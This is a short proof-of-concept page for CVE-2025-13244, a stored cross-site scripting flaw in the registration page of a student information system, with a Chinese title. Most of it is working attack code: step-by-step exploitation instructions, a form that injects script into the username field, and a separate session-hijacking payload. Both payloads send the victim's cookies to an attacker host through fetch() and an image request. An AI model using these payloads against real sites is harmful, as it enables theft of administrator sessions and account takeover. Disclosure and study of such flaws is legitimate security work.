CVE-2025-13244: code-projects学生信息系统2.0 /register.php跨站脚本漏洞

<!-- CVE-2025-13244 PoC - Stored XSS in /register.php --> <!-- Payload: <script>alert(document.cookie)</script> --> <!-- Steps: --> <!-- 1. Navigate to /register.php --> <!-- 2. Enter payload in any input field --> <!-- 3. Submit the form --> <!-- 4. When admin views user list, XSS triggers --> <form action="http://target/register.php" method="POST"> <input type="text" name="username" value='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script><!="'> <input type="text" name="email" value="[email protected]"> <input type="text" name="password" value="password123"> <button type="submit">Register</button> </form> <!-- Alternative payload for session hijacking --> <script> var cookies = document.cookie; var img = new Image(); img.src = "https://attacker.com/log?cookie=" + encodeURIComponent(cookies); </script>